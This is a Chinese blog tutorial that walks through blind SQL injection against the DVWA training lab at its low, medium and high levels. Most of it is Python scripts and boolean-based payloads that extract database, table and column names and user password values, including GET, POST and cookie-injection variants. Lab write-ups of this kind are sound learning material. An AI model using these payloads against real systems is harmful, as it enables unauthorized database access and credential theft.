DVWA--SQL Injection(Blind)

前言:以前一老是打CTF,最近是真的想去搞搞渗透了,问题来了,突然发现自己的基础是真的不够牢固,于是打算重温一遍DVWA。

第一步当然是去安装dvwa啊!参考着自己2017年写的渣渣文章, https://blog.csdn.net/csdn_Pade/article/details/64518164  ummmm总算是把他给搭建起来了。

dvwa 分为四个安全级别, low,Medium,height,impossible。impossible基本上是非常安全的了,我在这里展示前三种。

开始今天的主题,sql injection(Blind)。

@Time: 2018/9/28

在这里首先申明的是,dvwa这里,通过 cookie 里面的 security 参数来控制难度,所以,我们攻击的时候,都加一个headers,没有的话,会报错,我这里给出我的headers作为参考

self.headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://192.168.31.110/DVWA-master/vulnerabilities/sqli_blind/?id=1%27+order+by+4%23&Submit=Submit',
    'Cookie': 'security=medium; hibext_instdsigdipv2=1; PHPSESSID=e65009faf45b5f618fa9be77ffe5de84',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
}

Low

这个看似和普通的那种注入没有什么两样,我们再来测试一下

DVWA--SQL Injection(Blind)_第1张图片

输入1 ,发现

输入 1'  , 发现

这个和之前还是有很大的不同的,之前会显示出具体的数据,但是这里的错误是报错的,那么看来联合查询注入是无法使用的了

那就是今天的主题,盲注,盲注当然是要写脚本了啊

观察到他这里只会出现正确或者错误的两种页面,判定他是一个布尔盲注,接下来我会提供 payload ,大家自己完善代码,我也在下方留一个下载地址

首先,我们来获取他的数据库长度

for i in range(1,30):
    self.process('get_database_length',i,30)
    theurl = self.url + "1' and length(database())={0}%23".format(str(i)) +"&Submit=Submit#"
    html = self.s.get(theurl,headers=self.headers).text
    if self.check(html):
        self.database_length = i
        break

解读一下:

process 函数在这里可有可无,我用他来记录运行

def process(self,yourstr,num1,num2):
    print("Please wait ... {0} [{1}]/[{2}]".format(yourstr,str(num1),str(num2)),end='\r')

运行截图

sql语句这里,我们是判断数据库长度是否等于xx,然后跟前面的and,那么就可以得到页面正确与否

最后 check函数,用来check页面是否是正常的

DVWA--SQL Injection(Blind)_第2张图片

接下来就是获取这个数据库的名称了,这里只是使用了一个ascii函数

for j in self.zifuji:
    self.process(str(i) + ' get_database',j,self.database_length+1)
    theurl = self.url + "1' and ascii(substring(database(),{0},1))={1}%23".format(str(i),str(j)) + "&Submit=Submit#"
    html = self.s.get(theurl,headers=self.headers).text
    if self.check(html):
        self.database += chr(j)
        break

获取数据库名称之后,就可以去获取表名了,首先是获取到表的个数

for i in range(1,30):
    self.process('get_table_num',i,30)
    theurl = self.url + "1' and (select count(table_name)a from information_schema.tables where table_schema=database() having a={0})%23".format(str(i)) + "&Submit=Submit#"
    html = self.s.get(theurl,headers=self.headers).text
    if self.check(html):
        self.table_num = i
        break

获取表的时候,有点点烦,payload 写的不够好,不过最终还是搞出来了

这里最主要的就是使用了 group_concat,没有用limit,似乎limit 和 having ,合不来啊,,本人太菜,暂时只能想到group_concat这个了,不过还是顺利的提取到了表名

for i in range(1,50):
    self.process('get_table_length',i,50)
    theurl = self.url + "1' and (select length(group_concat(table_name)) as a from information_schema.tables where table_schema=database() having a={0})%23".format(str(i)) + "&Submit=Submit#"
    html = self.s.get(theurl,headers=self.headers).text
    if self.check(html):
        self.table_length.append(i)
        break
for j in self.zifuji:
    self.process('{0} get_table_name'.format(i),j,50)
    theurl = self.url + "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a={1})%23".format(str(i),str(j)) + "&Submit=Submit#"
    html = self.s.get(theurl,headers=self.headers).text
    if self.check(html):
        name += chr(j)
        break

DVWA--SQL Injection(Blind)_第3张图片

接下来的列名,字段名的获取过程都是差不多的,我就只上代码,不解释了

列名:

数量:

self.url + "1' and (select count(column_name) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})%23".format(table_name,str(i)) + "&Submit=Submit#"

总长度:

self.url + "1' and (select length(group_concat(column_name)) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})%23".format(table_name,str(i)) + "&Submit=Submit#"

名字:

self.url + "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='{1}' having a={2})%23".format(str(i),table_name,str(j)) + "&Submit=Submit#"

DVWA--SQL Injection(Blind)_第4张图片

最后一步,获得字段,选择表 users ,列 user,password

字段数目

self.url + "1' and (select count({0}) as a from {1} having a={2})%23".format(column_name,table_name,str(i)) + "&Submit=Submit#"

列长

self.url + "1' and (select length(group_concat({0})) as a from {1} having a={2})%23".format(column_name,table_name,str(i)) + "&Submit=Submit#"

get

self.url + "1' and (select ascii(substring(group_concat({0}),{1},1)) as a from {2} having a={3})%23".format(column_name,str(i),table_name,str(j)) + "&Submit=Submit#"

截图

DVWA--SQL Injection(Blind)_第5张图片

好了,已经得到了账户和密码,

这里是完整的截图

DVWA--SQL Injection(Blind)_第6张图片

Medium

medium级别与low级别差不多,改为post就行了,而且是数字型注入

将get类型转为post类型就行了,比较简单,我只列出几个主要代码就OK

得到 table 的值

for j in self.zifuji:
    self.process('{0} get_table_name'.format(i),j,50)
    data = {
        'id':"1 and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a={1})".format(str(i),str(j)),
        'Submit':'Submit',
    }
    html = self.s.post(self.url,data=data,headers=self.headers).text
    if self.check(html):
        name += chr(j)
        break

得到字段长度的payload

"1 and (select length(group_concat({0})) as a from {1} having a={2})".format(column_name,table_name,str(i))

得到字段值的payload

"1 and (select ascii(substring(group_concat({0}),{1},1)) as a from {2} having a={3})".format(column_name,str(i),table_name,str(j))

值得注意的是,因为这里是数字型,在得到列名的时候写入单引号会有问题,于是我写了个转16进制的函数

def tranhex(self,str1):
    result = '0x'
    for i in str1:
        result += hex(ord(i))[2:]
    return result

与 low 级别一般无二

DVWA--SQL Injection(Blind)_第7张图片

High

high级别这个,是一个cookie注入,我们可以看一下源码

DVWA--SQL Injection(Blind)_第8张图片

输入1 之后,显示

DVWA--SQL Injection(Blind)_第9张图片

firefox f12查看一下,发现cookie里面有一个 id ,那么这里就是我们的注入点了

DVWA--SQL Injection(Blind)_第10张图片

接下来就可以开始写脚本了,当然,这里我也只需要列出主要代码和payload就行了

由于是cookie注入,那么我第一个要贴出的就是注入点

def get_headers(self,payload):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate',
        'Referer': 'http://192.168.31.110/DVWA-master/vulnerabilities/sqli_blind/?id=1%27+order+by+4#&Submit=Submit',
        'Cookie': "id={0}; security=high; hibext_instdsigdipv2=1; PHPSESSID=e65009faf45b5f618fa9be77ffe5de84".format(payload),
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',
    }
    return headers

有了这个之后,只要有相应的payload写入,然后直接post这个headers就可以拿数据了

payload和之前的一模一样,没有区别,在这里就不贴一一出来了,high级别的脚本,与low最大的区别就在于是用headers这个作为载体传入的

好了,盲注这一块到这里就结束了,当然我会留下这些所有的脚本在这里供大家下载

下载地址 : https://download.csdn.net/download/csdn_pade/10701240

 

 

你可能感兴趣的:(DVWA,SQL,WEB安全-SQL)